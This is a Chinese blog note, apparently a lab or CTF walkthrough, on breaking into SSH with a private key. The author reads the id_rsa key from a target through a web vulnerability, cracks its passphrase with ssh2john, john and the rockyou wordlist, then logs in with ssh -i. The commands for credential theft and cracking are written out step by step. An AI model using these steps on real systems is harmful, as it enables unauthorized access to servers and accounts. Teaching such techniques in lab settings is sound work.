【笔记】ssh端口通过私钥认证爆破

ssh 用户名@ip -v (-v参数显示登录前的详细信息)

看见publickey就是证明可以使用私钥认证登录。

ssh公钥私钥认证原理:ssh 公钥私钥认证操作及原理
证书登录的步骤
1.客户端生成证书:私钥和公钥,然后私钥放在客户端,妥当保存,一般为了安全,访问有黑客拷贝客户端的私钥,客户端在生成私钥时,会设置一个密码,以后每次登录ssh服务器时,客户端都要输入密码解开私钥(如果工作中,你使用了一个没有密码的私钥,有一天服务器被黑了,你是跳到黄河都洗不清)。

2.服务器添加信用公钥:把客户端生成的公钥,上传到ssh服务器,添加到指定的文件中,这样,就完成ssh证书登录的配置了。

假设客户端想通过私钥要登录其他ssh服务器,同理,可以把公钥上传到其他ssh服务器。

于是通过web漏洞,去靶机(目标服务器)寻找公钥。
存放公钥位置:/home/wang/.ssh/authorized_keys (wang是用户)——找到公钥
rsa加密算法,私钥名称和默认位置:/home/wang/.ssh/id_rsa
注意:得到的私钥需要设置一下权限,权限太松散无法实现登录:
chmod 600 id_rsa (id_rsa 是攻击机存放私钥的文件——拷贝过来的)

得到私钥和公钥,爆破加密私钥的密码
拷贝密码字典rockyou.txt: cp /usr/share/wordlists/rockyou.txt.gz .
解压字典:unzip rockyou.txt.gz
使用john工具进行爆破
首先将id_rsa文件转化为hash
cd /usr/share/john
使用这个目录下的ssh2john.py文件进行转化格式
./ssh2john.py ~/id_rsa > ~/hash 将id_rsa转化为john可以识别的内容(文件hash)
开始爆破
john hash --wordlist=rockyou.txt
爆破结束!

ssh私钥登录:
ssh wang@ip -i id_rsa
输入加密私钥的密码。登录成功!
结束!

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值